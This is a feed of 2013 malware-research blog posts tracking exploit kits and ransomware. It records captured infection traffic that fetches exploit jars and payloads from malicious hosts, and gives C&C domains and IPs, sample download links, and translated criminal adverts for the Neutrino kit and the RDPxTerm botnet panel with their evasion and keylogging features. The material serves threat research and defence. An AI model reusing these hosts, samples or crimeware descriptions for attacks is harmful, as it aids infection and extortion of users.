Quantcast
Channel: Malware don't need Coffee
Viewing all 185 articles
Browse latest View live
↧

Popads add Social Engineering : Self-Generated fake cert on jar applet

February 23, 2013, 2:28 am
$
0
0
Seems there is an unpatched vulnerability being exploited in the wild once again.
At least operational on java 1.7 update 15.  <-- Seems I need more coffee & training in fact :)

I first thought it was a 0 day

Successfull path to Epic Fail in that tweet :)


but it's a Self-Generated fake cert signed  applet requesting for privileged access that I spotted in Popads Exploit Kit. So pure Social Engineering.




No infection without user interaction but sneaky :

Class name in that "0day"

Which lead too :
Social Engineering in the class name of that jar
If you run :
jre1.7u15 downloading PE

------------------------------------------

$ jarsigner -verify -verbose -certs [jarname].jar

s        157 Fri Feb 22 19:35:40 CET 2013 META-INF/MANIFEST.MF

      X.509, CN=Microsoft Corporation, OU=Microsoft Corporation, O=Microsoft Corporation, L=New York, ST=NY, C=US
      [certificate will expire on 5/23/13 11:08 AM]
      [CertPath not validated: null]

         278 Fri Feb 22 19:35:40 CET 2013 META-INF/TOMCAT.SF
        1040 Fri Feb 22 19:35:40 CET 2013 META-INF/TOMCAT.RSA
sm      2726 Fri Feb 22 19:35:14 CET 2013 Urgent_Java_Security_Update.class

      X.509, CN=Microsoft Corporation, OU=Microsoft Corporation, O=Microsoft Corporation, L=New York, ST=NY, C=US
      [certificate will expire on 5/23/13 11:08 AM]
      [CertPath not validated: null]


  s = signature was verified 
  m = entry is listed in manifest
  k = at least one certificate was found in keystore
  i = at least one certificate was found in identity scope

jar verified.

Warning: 
This jar contains entries whose signer certificate will expire within six months. 
This jar contains entries whose certificate chain is not validated.
------------------------------------------

Files : http://goo.gl/NVlnM (OwnCloud)


↧
Search

CVE-2013-0634 (Adobe Flash Player) integrating Exploit Kits

March 6, 2013, 8:59 am
$
0
0

This post to follow integration of this CVE in the most used exploit kits (should be updated).
"Adobe Flash Player before 10.3.183.51 and 11.x before 11.5.502.149 on Windows"


"snipshot" from dishonored.wikia.com


Cool EK :
After being reported by Eric Romang on Gong Da Exploit Pack, it's now part of the Cool Exploit kit owned by a group pushing Reveton.

CVE-2013-0634 positive path on (Reveton) Cool EK 2013-03-06

GET http://filiumtbtooedeirrationaalisesti.forexpassage .com/world/romance-apparatus_clinical_repay.php
200 OK (text/html)

GET http://filiumtbtooedeirrationaalisesti.forexpassage .com/world/stream-beginning-currency.jar
200 OK (application/java-archive)  417bbd583a72e80121f488581cfd79b3 (Note that the CVE-2013-0431 has been removed...don't ask me why...it's still in CBeplay.P Cool EK)

GET http://filiumtbtooedeirrationaalisesti.forexpassage .com/world/giving-immediate_prescribe-immigrant.swf ec0df4339fc7dcf9d3ae240c97f16a35
200 OK (text/html)

GET http://[Redacted]/world/mypic.dll 413f4a8a996f3725b3e2bd7fd32a98e6
200 OK (application/x-msdownload)


More to come soon i guess.

Some readings :
CVE-2013-0634 - CVE - Mitre
And (recent first)
Gong Da / Gondad Exploit Pack Add Flash CVE-2013-0634 Support - Eric Romang Blog - 2013-02-26
"Confirmed ITW" CVE-2013-0634 This LadyBoyle is not nice at all. - unixfreakjp - Malware must die - 2013-02-09
LadyBoyle Comes to Town with a New Exploit - Thoufique Haq - FireEye blog - 2013-02-07
↧
↧

Hello Neutrino ! (just one more Exploit Kit)

March 6, 2013, 4:56 pm
$
0
0



A new exploit kit is being advertised since yesterday on underground forum : Neutrino.
Nice, it's not "Cool OrangeHole Kit"

"snip shot" of the advert

Text of the Advert :
******************************************

 Neutrino - связка эксплоитов
Друзья, предлагаем Вашему вниманию наш новый продукт, связка эксплоитов Neutrino.
Хотел бы перейти сразу к описанию и остановиться более детально на некоторых особенностях.

Удобная панель управления:
Управление потоками
Информация о всех потоках, удобно сгруппирована в виде таблицы, что позволяет вместить на экран, как можно больше важной информации разом.
Так же имеется возможность получить более детальную информацию о конкретном потоке. Которая позволит судить, о качестве трафика, и прочих параметрах.
Имеются средства поиска, сортировки потоков по различным полям.

Управление персональным и коллективным ротатором
В нашем продукте реализовано два типа ротаторов доменов: персональный и коллективный.
Коллективный ротатор позволяет не заботиться о доменах и IP, за Вас это делаем мы. От Вас требуется, только активировать коллективный ротатор и это в принципе все. Коллективный ротатор отслеживает несколько параметров, по которым происходит смена домена. Данными параметрами являются: пороговое число AV палящих домен и интервал (в часах).
Если Вы хотите использовать свои домены и frontend IP, Вы можете воспользоваться персональным ротатором. Так же, в персональном ротаторе, Вы сами сможете регулировать оговоренные выше параметры (пороговое значение палящих домен AV и интервал авто смены по времени). Имеются довольно подробные отчеты о смене доменов в персональном ротаторе.
Проверка доменов, frontend IP проводится непрерывно. Отчеты, о состоянии доменов и frontend IP вы можете видеть прям в панели управления ротаторами.

Разнообразные AV отчеты
Как говорилось ранее, мы реализовали непрерывную проверку на AV, всех критически важных звеньев нашей системы. AV статус каждого элемента системы представлен в данном разделе. Что позволяет своевременно реагировать на возникшую «проблему».


Продуманная выдача:
Мы ознакомились с тем, как устроена выдача в различных подобных проектах, рассмотрели всевозможные причины, почему в том или ином проекте выдача организованна так или иначе. В данном посте я бы не хотел останавливаться на плюсах или минусах реализации в сторонних продуктах, а пожалуй обозначу некоторые особенности нашей реализации. 
Выдача происходит в несколько этапов:
Приземление трафика и первичная фильтрация.
Сбор информации о браузере, по средством plugin detector'а.
Отправка информации о целевой системе на сервер в зашифрованном виде.
Пост фильтрация.
Подбор подходящего эксплоита.
Выдача support кода эксплоита.
Выдача кода эксплоита
Выдача полезной нагрузки.

Конечно же, это только основные моменты которые мы можем озвучить, а остальное, я думаю лучше будет оставить за кадром. Т.к. Мы так же, как и Вы хотим, что бы наши эксплоиты были чистыми, как можно дольше и Ваши exe палились как можно реже. 

К стати к вопросу об Ваших exe, от сервера до клиента Ваши exe перемещаются в шифрованном виде, существенно уменьшая вероятность палива, но к сожалению не исключая ее полностью.
«Любителям» plugin detector'а: в данный момент, мы решили остановиться именно на этом решении, т. к. считаем его наиболее адекватным из всех имеющихся. Конечно же мы рады будем услышать иные точки зрения, мы всегда открыты к конструктивному диалогу.

Хайлоад
Да, данный продукт заточен под хайлоад, держим большие потоки.

Эксплоиты
В данный момент в связке используются два эксплоита и оба под java.
cve-2012-1723 и cve-2013-0431
На подходе еще несколько, не затрагивающие java.

Пробив
Данный показатель, слишком сильно зависит от трафика, по этому выводы Вы можете сделать сами, протестировав наш продукт, на разных типах трафика.

Отстук
Была проведена серия тестов, с использованием примитивной http стучалки, тесты показали отстук на уровне 86%. Хотелось бы заметить, что данный показатель, так же может варьироваться, в зависимости от различных факторов.


Цены
На данном этапе мы предлагаем, только аренду на наших серверах.

Аренда на общем сервере с общими чистками:
День — 40$
Неделя — 150$
Месяц — 450$

По вопросам аренды на персональном сервере (сервере конкретно под Вас) и с персональными чистками писать в жабу.


Контакты
ICQ: 637384767


-----------------------------
Пример статы, отгружал клиент: http://www.sendspace.com/file/zzhl20

******************************************
Translated by google as :
******************************************

Neutrino - a bunch of exploits
Friends, we offer you our new product, a bunch of exploits Neutrino.
I would like to go directly to the description and to stay in more detail some of the features.

User friendly control panel:
Flow Control
Information on all flows are grouped in a table that allows to fit on the screen as much as possible the important information at once.
It is also possible to obtain more detailed information on a particular stream. Which will allow to judge the quality of traffic, and other parameters.
There are tools to search, sort streams by various fields.

Managing personal and collective rotator
Our product provides two types of rotator domains: personal and collective.
Collective rotator allows you to not worry about domains and IP, for you we do. All you have to just activate collective rotator and it's basically all. Collective rotator tracks several parameters, which is a change of the domain. These parameters are: the threshold number of AV scorching domain and the interval (in hours).
If you want to use your domain and frontend IP, you can use personal rotator. Just on a personal rotator, you will be able to adjust the parameters specified above (threshold scorching domain AV interval and auto change over time). There are quite detailed reports on changes in the personal domain rotator.
Domain Checker, frontend IP is carried out continuously. Reports on the status of domain names and frontend IP you can see right in the control panel rotators.

A variety of AV reports
As mentioned earlier, we have implemented a continuous check on AV, all critical parts of our system. AV status of each element of the system is presented in this section. That allows to respond to the evolving "problem."


Sophisticated issue:
We are familiar with the way the issue is arranged in a variety of similar projects, discussed all sorts of reasons why this or that project delivery is organized anyway. In this post, I would not like to dwell on the pros and cons of implementing a third-party products, and perhaps identify some features of our implementation.
Are issued in several phases:
Landing traffic and primary filtration.
Gathering information about the browser by means of plugin detector'a.
Sending information about the target system to the server is encrypted.
Post filtering.
Selection of the appropriate exploit.
Issuance support exploit code.
Issuance of exploit code
Issuance of payload.

Of course, this only highlights that we can announce, and the rest, I think it would be better to leave behind the scenes. Because We also, as you wish that our exploits were clean, as long as possible and your exe palilis as little as possible.

By the way to the question of your exe, from the server to your client exe transferred in encrypted form, significantly reducing the chance palivo, but unfortunately not eliminating it completely.
"Lovers» plugin detector'a: at the moment, we decided for this solution, because we consider it the most appropriate of all available. Of course we will be glad to hear other points of view, we are always open to constructive dialogue.

Hayload
Yes, this product is ground under hayload, hold large flows.

Exploits
At the moment, there are two in tandem, and exploit both under java.
cve-2012-1723 and cve-2013-0431
On the way some more, do not touch java.

Breaking through
This indicator, too dependent on the traffic on the conclusions you can make yourself by testing our product in different types of traffic.

Otstuk
A series of tests, using primitive http stuchalki, tests have shown otstuk at 86%. I would like to note that this indicator can also vary, depending on various factors.


Prices
At this stage, we offer only the rent on our servers.

Rent on a shared server with general cleaning:
Day - $ 40
Week - $ 150
Month - $ 450

To rent on a personal server (specifically for you) and with personal cleansing write a toad.


Contacts
Jabber: service2u@jabber.cz
ICQ: 637384767


-----------------------------
Examples of articles, shipped client: http://www.sendspace.com/file/zzhl20

******************************************
Image of the Advert :

Screenshot provided in the advert by the seller.



Was fast to spot it wild... a little more difficult to be sure it was indeed Neutrino

Let's fast fly (2 cve) over it :

Obfuscated Landing (same service as Cool EK right now it seems) :


Deobfuscated here :

http://pastebin.com/SaKfZGTv


CVE-2013-0431 (with serialization in the Jar) :

CVE-2013-0431 positive Path
GET http://like.babylx .info/ltmhb?fqwtxeuk=8866005
200 OK (text/html)


GET http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js
200 OK (text/javascript)


GET http://like.babylx .info/scripts/js/plugin_detector.js
200 OK (application/x-javascript)


Fresh PluginDetect
POST http://like.babylx .info/cs67kcnk
200 OK (text/html)

cs67kcnk - JHelper.dat is the serialization to bypass Security in Jre17u11
GET http://like.babylx .info/esxxyfxmnosl?hskwjk=5137bbdbaaa2cc5a69000265
200 OK (application/java-archive)  b2b26a68506f5429938204f9f601b991

CVE-2013-0431 in Neutrino
GET http://like.babylx .info/java/lang/ClassBeanInfo.class
200 OK (text/html)

GET http://like.babylx .info/java/lang/ObjectBeanInfo.class
200 OK (text/html)

GET http://like.babylx .info/java/lang/ObjectCustomizer.class
200 OK (text/html)

GET http://like.babylx .info/java/lang/ClassCustomizer.class
200 OK (text/html)

GET http://like.babylx .info/pbkmm?hvxgh=5137bbdbaaa2cc5a69000265
200 OK (application/octet-stream)--> Decoded : 52d267e568fa47a2783e50281e9e7fe3 which is an Urausy Variant (C&C call : http://assoftoday .com/forum/ko-ryfa-yd[..]pi-dawk-xuc[..]wtjkol-xe[..]ixfqztrpsldtmnuj-aslu-[..]xkdj.php - 88.80.196.2 )


CVE-2012-1723 :

CVE-2012-1723 successfull path in Neutrino



GET http://like.babylx .info/ljemkkvoxdon?fmmmevrdt=8866005
200 OK (text/html)

GET http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js
200 OK (text/javascript)

GET http://like.babylx .info/scripts/js/plugin_detector.js
200 OK (application/x-javascript)

POST http://like.babylx .info/cet159p
200 OK (text/html)


cet159p


GET http://like.babylx .info/ewgkhclytbjscf?hkmjddetibir=5137cc86aaa2cce57a000009
200 OK (application/java-archive) a14649f7113cd1ec56dfb6b51058ad10


CVE-2012-1723 in Neutrino связка


GET http://like.babylx .info/pdvsktqpfxr?hwlqhfsle=5137cc86aaa2cce57a000009
200 OK (application/octet-stream)

Files :
Neutrino_2013-03-07.zip (OwnCloud via Goo.gl)

Readings :
Off Topic  : Can a Neutrino pass through a Black hole ?  "No, a neutrino cannot pass through a black hole."
(Sure we could find some with Nuclear reaction too :) )


↧

CVE-2013-1493 (jre17u15 - jre16u41) integrating Exploit Kits

March 8, 2013, 4:18 pm
$
0
0


That was fast (4 days after patch). After CVE-2013-0634 (flash), it's now CVE-2013-1493 (last know vulnerability up to jre17u15 - jre16u41) that reach Cool Exploit Kit (from Reveton distributor - btw this ransomware seems to be clothed again with what i called the Winter II design)

Credits first :
Will Metcalf from Emerging Threats for the "path" part of the landing.
Michael Shierl for confirming (and giving more clues) that it looks like CVE-2013-1493.
Chris Wakelin for additional tips

I will update here integration in other exploit kits 

Cool EK (2013-03-08):

jre17u15:
CVE-2013-1493 successful path in Cool EK (jre17u15)
2013-03-08

jre16u41:

CVE-2013-1493 successfull path in Cool EK (jre16u41)
2013-03-08



GET http://retrempercircum[...].glamorizesports.com/world/bright_rural_mutter.html
200 OK (text/html)

GET http://retrempercircum[...].glamorizesports.com/world/rug-magistrate.jar
200 OK (application/java-archive)   a3410c876ed4bb477c153b19eb396f42

GET http://retrempercircum[...].glamorizesports.com/world/improved_violently_section.swf
404 Not Found (text/html) 

GET http://[...]/world/getnn.jpg
200 OK (application/x-msdownload)  e343845066df8c271b5ac095f2d44183
Out of scope Reveton


Note : if you get infected with java 1.7u > 10 , don't try to say you were not warned !

Security in jre17u>10
Want to get infected ? follow the bubble


For java 1.6...things are differents

In jre16 (no comment)

<edit1: 11/03/13>
Sibhost :
It's now also part of Sibhost.
CVE-2013-1493 successfull path in Sibhost

GET http://[...].bestonlinecourse.net/vs3Mpr1V3t843
200 OK (text/html)

GET http://[...].bestonlinecourse.net/vs3Mpr1V3t843.zip
200 OK (application/octet-stream)

GET http://[...].bestonlinecourse.net/vs3Mpr1V3t843.zip
200 OK (application/octet-stream) c1e430c2bfa13e33915eb69ae2d068b3

Urausy and CVE-2013-1493 in the Jar
POST http://[...].bestonlinecourse.net/vs3Mpr1V3t843?page=1
200 OK (text/html)

GET http://rqwkp.com/xo-cq[...]qejau-bleh[...]ngj-oxbf[...]fz-clzv_g[...]ypr-jpnobwor[...]gux.php
200 OK (application/octet-stream) <-- This is the call home from the ransomware pushed...which is, as you quite surely already know, Urausy  (which is sharing Infrastructure with Sibhost EKaas)
Out of scope : Decoded Urausy :  fe6562c5d5ba8d04d94f887feef4554d

</edit1>



Files:
Cool EK:  a3410c876ed4bb477c153b19eb396f42 - 037160d1fc08d1643382233049944246
Sibhost :   c1e430c2bfa13e33915eb69ae2d068b3
(nothing more for now)

Reading :
YAJ0: Yet Another Java Zero-Day - 2013-02-28 - Darien Kindlund and Yichong Lin - FireEye Blog
CVE-2013-1493 - Mittre
Latest Java Zero-Day Shares Connections with Bit9 Security Incident - 2013-03-01 - Symantec

↧

Ransomware - Kovter : looking at your browsing history for more credibility

March 29, 2013, 10:29 am
$
0
0

This is just another Ransomware...
Kovter - US 2013-03-29 (dont trust date on my VM)
but why posting about it and not about Galock the DHS one...

Look :

From source to Kovter ransom message
Kovter is checking your history against a remote list of website and if found will display it on the warning.

Other try
(but was not infected through it)
Kovter checking browsing history


But what if I've never been on any of those website ?

Let's do it simple...
File :
19561b33793dcb865eae56575a899ce8 (OwnCloud via goo.gl)
Reading :
Botnets.fr page
Don’t Pay Up – How To Beat Ransomware! - 2013-04-05 - MakeUsOf - Guy McDowell
↧
↧

Reveton "Spring Collection" is ... disappointing - New countries Targeted

April 2, 2013, 1:59 am
$
0
0
So here, the big news is in fact that South America is now a potential target for Cool EK and Reveton cause they have updated the design of their Ransomware, adding new countries. But we can't call this "Spring Collection" for sure...

Reveton US 2013-04
Same design as Urausy (but video on the left)...kind of disappointing...
Knowing that Urausy Design is itself inspired by Reveton Design from Past summer...
It looks like one "designer" is becoming the only one in the game now.
One more
Reveton FR 2013-04
and if you wonder how other countries look like just refer to Urausy Collection. (am slowly updating botnets.fr Reveton page too)

So this move allow Reveton team to target more countries (we can suppose same as Urausy Team), for instance :

Argentina :

Reveton AR 2013-04
and Mexico
Reveton MX 2013-04
Expect : NZ, BO, EC, AR, UY

C&C Redirector now ?


Reveton Calling Home

Files ?

4 samples (OwnCloud via Goo.gl) 
In that zip you'll find :
f1bf137d73d5323a2d71d921bd99ca42 (a downloader (CVE-2013-0634 dropped) )
1669bbd10bc2f350f7d450e0969a5a8a
445af5fec3322d5e3a04690e30322d79
d182165a9e6ec130932c2273870d2eda

Reading :
Don’t Pay Up – How To Beat Ransomware! - 2013-04-05 - MakeUsOf - Guy McDowell
↧

Urausy Ransomware - Middle-East under attack

April 6, 2013, 8:13 am
$
0
0


Urausy is now targeting Middle East with cashU as payment system.
It seems that Reveton could disappear as the almost only distributor ( /world/ Cool EK) has switched to Urausy since 2013-04-04 (after few days of a Reveton stealing Urausy Design)
<edit 2013-04-08> Reveton back on Cool EK /World/ </edit>
I've seen Urausy pushed in almost all known Exploit Kits : Sibhost (as i explained, the C&C architecture of Urausy is shared with this Exploit Kit), Cool EK, Sweet Orange, RedDot v2, Blackhole, Neutrino....). It's everywhere.

Here are the Middle East design I was able to gather...

United Arab Emirates
Urausy AE 2013-04
(second one after Ransom.EY)
 Lebanon
Urausy LB 2013-04
First in that country

Palestinian Territory
Urausy PS 2013-04


 Saudi Arabia
Urausy SA 2013-04
First in that country
I will update this post if other Middle-East design are found.

C&C Redirectors right now :
otcdj.net - 5.133.179.179
pqfmp.com - 91.221.99.26

Files :
Urausy_from_CoolEK_2013-04-06.zip (OwnCloud via Goo.gl)
containing
6bb3f80a10a26cb6b9f7e33fc006f9a0
caf63b1aa24e4fdf9ece76593f27d3ca 
abfe5dd5511535380c57e7ccacaa9454


Read More :
Urausy page on Botnets.fr
Don’t Pay Up – How To Beat Ransomware! - 2013-04-05 - MakeUsOf - Guy McDowell
Urausy: Colorfull design refresh (+HR) & EC3 Logo 2013-02-09 (+ edits)
Urausy has big plan for Europe - Targeting 3 new countries among which Norway 2012-09-22
Urausy improving its localization - A (the?) Gaelic Ransomware with Interpol impersonation as default landing 2012-09-13
↧

Meet Safe Pack (v2.0)... Again :)

April 21, 2013, 11:11 am
$
0
0

A "new" pack is advertised on underground. Thanks Kahu Security for locating and providing initial image of the advert.

In fact I faced it before seeing the advert, and reading it really puzzled me.
Initial advert for SafePack as spotted by @KahuSecurity
What i faced was not matching this at all.
No CVE-2011-3402 (Duqu like fontdrop), no CVE-2013-0634 (LadyBoyle), no CVE-2013-1493
So I was kind of lost...This advert could be for Popads or Old version of Cool EK but not for what i saw.

But...going back checking if I could find more information :

Updated Advert - more realistic :)
Ok. Sound better !
Here is btw the image that we are supposed to see in the advert :
Screenshot Provided in the advert
And now here is what i faced :

CritXPack for sure !
hum...
As CritXPack was kind of calm past days...i checked :
Safe Pack v2.0 Login Screen

I see two explanation :
1- CritXPack (Formerly Vintage Pack) is now called Safe Pack v2.0
2- Safe Pack v2.0 is a rip of CritXPack...
Don't know for sure...based on initial advert + ProHack's other posts I bet for option 2.
Anyway won't make a full review of this pack.

As i was not aware of CVE-2013-1493 in CritXPack I tried that against Safe Pack v2.0
And yes...you are safe with java 7u15 and 6u41.
Chances are low to see major updates on this pack.

<edit1 2013-04-26>
Safe Pack v2 - Private version of CritXPack now gone into commercial sales (?)
</edit1>

Files:
SafePack_2pass_2013-04-20.zip (OwnCloud via Goo.gl)

Read More:



↧
Search

CVE-2013-2423 integrating Exploit Kits

April 23, 2013, 8:05 am
$
0
0
snipshot from mitre.org

One week after Patch Java7u21 the vulnerability is being exploited in mass blind attack.
( First alert come from Timo Hirvonen with CrimeBoss and later CritXPack/SafePack. Will update for these EK as soon as i land on it)

Cool EK:
CVE-2013-2423 successful path in Cool EK 2013-04-23


GET http://lekarskiejowlslight.ahmedpekin .net/works-softly.htm
200 OK (text/html)

GET http://lekarskiejowlslight.ahmedpekin .net/hopeful_orchestra-surveyor_remove.jar
200 OK (application/java-archive) 9339cb68dd4a1301f8b84da55bacd6b4

CVE-2013-2423 in Cool EK Jar


GET http://95.211.[bip]/getqq.jpg  c795ac9a7a84930c4da54439026556c6  Reveton as usual.
200 OK (application/x-msdownload)

<edit1 2013-04-26>
Sweet-Orange :


CVE-2013-2423 positive path in Sweet Orange 2013-04-26
GET http://prioritiesinformationlockdown .net/upgrade/uploads/photo/pets.php?spamnav=237
200 OK (text/html)

<edit5 2013-04-27> Security Bypass has been added.
Looks like that :
Security bypass implemented in Sweet Orange 2013-04-27

</edit5>
GET http://prioritiesinformationlockdown .net/upgrade/uploads/photo/bDCoZGmn.jar
200 OK (application/x-java-archive) d4a716a6434462ddd1b99a85f3d9cf87

CVE-2013-2423 in SWT


GET http://prioritiesinformationlockdown .net/upgrade/uploads/photo/KOrJjsK.jar
200 OK (application/x-java-archive) 49ca9dcbf4cc7176bb656ded3eb03dba



GET http://prioritiesinformationlockdown .net/iraq.php?setup=750&humor=598&star=4&virus=629&entry=171&paper=545&stars=451&intm=257&books=550&myguest=958
200 OK (application/octet-stream) Decoded payload : f94c16dc1c399849e37064e17c5337e1 (Ransomware c&c http://utrento .com/picture.php )


Undefined (for now) Ransomware landing for UK
</edit1>
<edit3 2013-04-27>
Neutrino :


"Добавлен новый эксплоит, пробив приятно поднялся ;)"
translated as :
Added a new exploit, breaking up nicely ;)

CVE-2013-2423 in Neutrino 2013-04-27 with Security Bypass


Security Bypass  (as explained by Security Immunity) in Neutrino
after some decoding
GET http://evaluation-man .net/ldeiyxlmeiujjn?fqemlffr=5884689
200 OK (text/html)

GET http://ajax.googleapis .com/ajax/libs/jquery/1.9.1/jquery.min.js
200 OK (text/javascript)

GET http://evaluation-man .net/scripts/js/plugin_detector.js
200 OK (application/x-javascript)

POST http://evaluation-man .net/cvwrssa
200 OK (text/html)

GET http://evaluation-man .net/eqtmw?hvvsxlyebdkj=517ba030aaa2cc8561032cc5
200 OK (application/java-archive)  4387db4a1da8f8f68df4369f8e6d46b6


CVE-2013-2423 in Neutrino Jar


GET http://evaluation-man .net/puvpdxcfdwntco?htigpfblxyx=517ba030aaa2cc8561032cc5
200 OK (application/octet-stream) Decoded payload : a69ffadf3d021f3edfb7b811e2fcb753 Urausy

Part of Urausy LU Design 2013-04-27



File: Neutrino_CVE-2013-2423.zip (OwnCloud via goo.gl)
</edit3>
<edit4 2013-04-27>
Sakura :


CVE-2013-2423 & Security Bypass successful path in Sakura EK
GET http://ef4g.stencilmaster1 .com:88/page/word.php
200 OK (text/html)

Security Bypass in Sakura (after partial deobfus) - 2013-04-27


GET http://ef4g.stencilmaster1 .com:88/page/important_whole_mile.php
200 OK (application/x-java-archive) b7c19737bcbeb0613ade20b71e2797fe

CVE-2013-2423 in Sakura Jar file 2013-04-27
GET http://ef4g.stencilmaster1 .com:88/page/3906.htm
200 OK (application/octet-stream)  Decoded payload : 1ecc8081e6fe50c886735c45e788d16d


Part of Urausy NL Design 2013-04-27


Files : Sakura_Landing_Jar_Payload_CVE-2013-2423.zip (OwnCloud via goo.gl)
</edit4>
<edit6 2013-04-27>
Styx :
At least 3 hours providing that jar without infecting...it appears now to be fully operationnal
Successful CVE-2013-2423 + Security bypass in Styx
+ Payload Urausy Call Home
GET http://1perfotas.gotgeeks .com/kgMXp60Bral0l2gu0T3h311sSh0gspW12nyO0jyQj0Clcm0APFy0tlNV06MeW0KUSX/
200 OK (text/html)

GET http://1perfotas.gotgeeks .com/kgMXp60Bral0l2gu0T3h311sSh0gspW12nyO0jyQj0Clcm0APFy0tlNV06MeW0KUSX/jrr.html
200 OK (text/html)

Embedded jnlp for Security Bypass


GET http://1perfotas.gotgeeks .com/kgMXp60Bral0l2gu0T3h311sSh0gspW12nyO0jyQj0Clcm0APFy0tlNV06MeW0KUSX/sdghsHHj.jar
200 OK (text/html) 702ad790017148b8eedd46ce5599a06f

CVE-2013-2423 in Styx Jar 2013-04-27


GET http://1perfotas.gotgeeks .com/OoTtsV0poEU0xnad0KaY910BMP0MRvW0emfi0nW3n0rEFd06afI0di5J0QjCx0OufD06IHF0CViI0ZVum0V3tm0zzAk14xMn0TcLD01PmR0nee80H9JU0Rdwk12WwY09mps0ZYSm0nX5o0OhKa17Z8N16eY5126Nc0hQ6m0ML3m0gjjR0EYoV0tEYB14CSM0GpRt0unAj0dUrn0vhxG0htLK12MMq0SNVP0OGdP/Er3jvhs7jf.exe?fJ2pf=XUaPp&h=13
200 OK (application/octet-stream)  Payload decoded (for now...) 1f9d504d0c3ad25ca42fbc661070d075 Urausy again...

Part of Urausy US Design 2013-04-27
Files: Styx_Landing_SecurityBypass_Jar_Payload_2013-04-27.zip
</edit6>

Reading :
CVE-2013-2423 on mitre
CVE-2013-2423 Metasploit Module
Java is So Confusing... - Trustwave/Spiderlabs - Anat Davidi -2013-04-19
Java 7 Update 21 - IKVM.Net Weblog - 2013-04-17
Post Publication Readings :
Yet Another Java Security Warning Bypass - Immunity - 2013-04-24 - Esteban Guillardoy
The Latest Java Exploit with Security Prompt/Warning Bypass (CVE-2013-2423) - Security Obscurity - 2013-04-26
K.I.A. – Java CVE 2013-2423 Via New and Improved Cool EK - Anup Ghosh - Invincea - 2013-04-26

↧
↧

Inside RDPxTerm (panel 5.1 - bot 4.4.2) aka Neshta C&C - Botnet control panel

May 7, 2013, 3:42 am
$
0
0


Advertised on underground forum since 2013-03-27 by "ReV"

Initial Text of the Advert :
------------------------------------------
RDPxTerm 5.1 (bild 4.4.2) priv8 edition.

Характеристики административной панели v.5.1:

- отображается вся статистика о машине
(в том числе логин и пароль активной сессии.)

- Время последней активности бота.

- собирает информацию о платежной системе/банкинге на зараженной машине.

- возможность обнавить версию бота.

- Поиск по лог фаилам. Возможность задавать теги к записям для удобства сортировки.

- FlashGrab 

- разграничение доступа к административной панели бота.

- статистика по ботам.(оs,host,nat,token,e.t.c)

- логи об ошибках и доступе в административную панель.

- исправленна возможность неавтаризованно просматривать логи о доступе к админ панели.

- исправленна возможность неавтаризованно просматривать логи о отстуках ботов.

- исправленна ошибка позволяющая сгенерировать доменное имя из дипазона и перехватить ботов.

- логи сортируются по заданым ключам.

- устанавливает RDP плагин, в результате есть доступ к машине по rdp, причем текущего пользователя не выкидывает из сессии (TermUser:TMPass32.)

- потдерживается плагин MPK (кейлогер)

- работает загрузка других файлов

- работает апдейтор бота

- присутствует функция теннелирования если RDP порт закрыт для подключений.

- возможность изменить логин и пароль активной сессии.

- работает при отсутствие административных прав.


Характеристика Builder v.4.4.2:

- задает своё пространство имен
- определяет количество генерируемых доменов
- задает имя гейтового скрипта

Характеристика xTermTun57:

- Gui приложение полностью повторяющее функионал административной панели.

- Возможность принимать BackConnect cоединения.

Цена:от 3000 до 10 000 usd

Контакты: rev0lver@jabber.ru +otr
[REDACTED] моя статья по теме.
Первым трём купившим скидка 50% .
так-же рассмотрю предложения по покупке исходного кода grum в одни руки.
------------------------------------------
Translated by nezlooy (Many thanks !!)  as :
------------------------------------------
RDPxTerm 5.1 (Bild 4.4.2) priv8 edition.

Features Administrative Panel v.5.1:

- Displays all the statistics about the machine (including the username and password of the active session.)
- Activity of the bot at the last time.
- Collects information about the payment system / banking on the infected machine.
- Ability to update version of the bot.
- Searching in a the log-files. Ability to set the tags for entries for easy sorting.
- FlashGrab
- The division of access rights to the administrator panel of the bot.
- Statistics of the bots. (OS, Host, NAT, Token and etc)
- Logging of errors when accessing the administrator panel.
- Fixed the ability to view logs of access to the admin panel for unauthorized users.
- Fixed the ability to view logs of bots responses for unauthorized users.
- Fixed a bug allowing to generate the domain name in a range and intercept the bots.
- Logs are sorted by the given keys.
- Installs RDP plugin, as a result there is access by rdp, without losing a sessions of the current user (TermUser:TMPass32.)
- Supported MPK-plugin (keylogger)
- Works a loading the other files.
- Works a updater of the bot.
- Exists the function of of tunneling, if the RDP-port is closed for connections.
- Ability to change the username and password of the active session.
- Works even without administrative rights.

Feature Builder v.4.4.2:
- Sets its own namespace
- Determines the number of generated domains
- Sets the name of the gate-script

Feature xTermTun57:

- GUI application completely duplicates the functionality of the administrative panel.
- Ability to accept a back-connections.

Price: from 3000 to 10000 USD

Contact: rev0lver@jabber.ru + OTR
---
First three customers - 50% discount.
Also consider offers to purchase the source code of the Grum for per customer (to one hands).
------------------------------------------

Fly over the panel :

Main
Online hosts
Update
Search
Key logs and Clipboard


Flash Grab


Service
Users
Stat
Error log
Access Log
The xterm bot seems to be commonly named Neshta and was really well recognized by Antivirus
Some samples that should not be linked to that panel :
60061a788eb02c71ba15d2afcfac3beb 
0d58d2fbded7572e814ff80e69ed048a 
9d6026e46dd8243f448b7246dde67515 
↧

Inside Styx - Exploit Kit Control Panel

May 19, 2013, 1:51 pm
$
0
0
(Lorenz-84 - For the thumbnail)
Styx Logo


In this post we'll just see how the panel looks like.
If you want to know more about the price and exploits included see the "Read more" part at the end.

However here is how look a successful attack with last (known to me) integrated exploit :

Urausy pushed by Styx Using CVE-2013-2423 with Security Bypass (jnlp) - 2013-04-27 
Here is the login screen.
Open, Seasam - Login Screen
The Lorenz-84 is animated :


Statistics - Global - Styx
All menus - Styx
Statistics - Country - Styx
Statistics - Browser & OS - Styx
Those stats raise some questions. But I don't have the answer.
(i tried to land with IE10 last java...nothing terrible happen but I already badly failed in recognizing new bullet)

Flow - Styx
(No Traffic. So Empty)
Settings - Domains - Styx
Settings - Files - Styx
Settings - Filters - Styx
(hello "402 Payment Required" :)  )

Settings - Notifications - Styx
Settings - API - Styx
(Unfolded : /api/stats_global)
At the bottom of the API page :


Which you can get here : styxAPI-samples.7z
(unmodified files - Owncloud via Goo.gl - just remove the .zip extension)

"Another problem with your file, my Lord. Captain Checker says it's NOT ok"
Screenshot of StyxAPI sample.php
Settings - Global Settings - Styx
Settings - Global Settings - Show BL Weigths - Styx


And we'll finish by the 404 (have to admit i love it - Lorenz-84 rotating here too)

Great job!
You've just broke it.

Styx Panel in one word ?
Professional.

Read more :
